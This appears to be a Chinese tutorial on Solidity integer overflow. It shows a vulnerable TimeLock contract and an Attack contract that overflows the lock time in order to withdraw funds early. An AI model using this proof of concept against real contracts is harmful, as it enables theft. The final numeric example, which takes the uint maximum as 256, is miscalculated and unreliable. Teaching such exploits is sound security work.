算术溢出(arithmetic overflow)或简称为溢出(overflow) 分为两种:上溢和下溢。所谓上溢是指在运行单项数值计算时,当计算产生出来的结果非常大,大于寄存器或存储器所能存储或表示的能力限制就会产生上溢,例如在 solidity 中,uint8 所能表示的范围是 0 - 255 这 256 个数,当使用 uint8 类型在实际运算中计算 255 + 1 是会出现上溢的,这样计算出来的结果为 0 也就是 uint8类型可表示的最小值。同样的,下溢就是当计算产生出来的结果非常小,小于寄存器或存储器所能存储或表示的能力限制就会产生下溢。例如在 Solidity 中,当使用 uint8 类型计算 0 - 1 时就会产生下溢,这样计算出来的值为 255 也就是 uint8 类型可表示的最大值。
如果一个合约有溢出漏洞的话会导致计算的实际结果和预期的结果产生非常大的差异,这样轻则会影响合约的正常逻辑,重则会导致合约中的资金丢失。但是溢出漏洞是存在版本限制的,在 Solidity < 0.8 时溢出不会报错,当 Solidity >= 0.8 时溢出会报错。所以当我们看到 0.8 版本以下的合约时,就要注意这个合约可能出现溢出问题。

漏洞代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
contract TimeLock {
mapping(address => uint) public balances;
mapping(address => uint) public lockTime;
function deposit() external payable {
balances[msg.sender] += msg.value;
lockTime[msg.sender] = block.timestamp + 1 weeks;
}
function increaseLockTime(uint _secondsToIncrease) public {
lockTime[msg.sender] += _secondsToIncrease;
}
function withdraw() public {
require(balances[msg.sender] > 0, "Insufficient funds");
require(block.timestamp > lockTime[msg.sender], "Lock time not expired");
uint amount = balances[msg.sender];
balances[msg.sender] = 0;
(bool sent, ) = msg.sender.call{value: amount}("");
require(sent, "Failed to send Ether");
}
}问题分析
这个合约类似重入(Re-Entrancy)的合约,不过是已经修复过的(可以先看 重入攻击 Re-Entrancy 合约在看这个理解更快),在此基础上添加了一个 lockTime mapping 在deposit方法中可以看到在转账后,在用户的lockTime更新重置了一个星期的时间戳;这个合约还新增一个increaseLockTime方法有个类型为uint的传入值,在原先lockTime 的基础上累加了一个传入值;这里就可以看出问题,这个方法可以外部调用没有做权限隔离,累加时并没有进行校验是否溢出,并且这个合约是 pragma solidity ^0.7.6;下面withdraw没有太大变化,多了一个require(block.timestamp > lockTime[msg.sender], "Lock time not expired");判断如果lockTime的时间戳大于当前区块链时间将无法交易,这就是个时间锁。
可以看出通过increaseLockTime方法就可以绕过withdraw方法中的block.timestamp > lockTime[msg.sender]的判断,从而在时间未到时取出余额;
攻击代码
contract Attack {
TimeLock timeLock;
constructor(TimeLock _timeLock) {
timeLock = TimeLock(_timeLock);
}
fallback() external payable {}
function attack() public payable {
timeLock.deposit{value: msg.value}();
timeLock.increaseLockTime(
type(uint).max + 1 - timeLock.lockTime(address(this))
);
timeLock.withdraw();
}
} 基于以上分析写出攻击合约,攻击合约在部署时传入要攻击的TimeLock合约地址,在attack方法中调用TimeLock的deposit方法,并向合约存入对应的value余额(这个时候按照合约逻辑,存入余额的账户已经被时间锁上锁了,无法取出余额),下面调用timeLock合约的 increaseLockTime方法,传入值为 :
uint类型的最大值 + 1 - 用户当前的lockTime值
这里获取uint最大值加上1再减去用户lockTime值的结果传入到increaseLockTime方法进行累加操作得出的结果正好为0。
例如:
lockTime = 30
uint最大值为 = 256
传入值 = uint最大值 +1 - lockTime
= 256 + 1 - 30
= 227
increaseLockTime 方法
lockTime += 传入值
转换为 lockTime = lockTime + 传入值
= 30 + 227
=257
257 触发溢出 变为 0
评论 (0)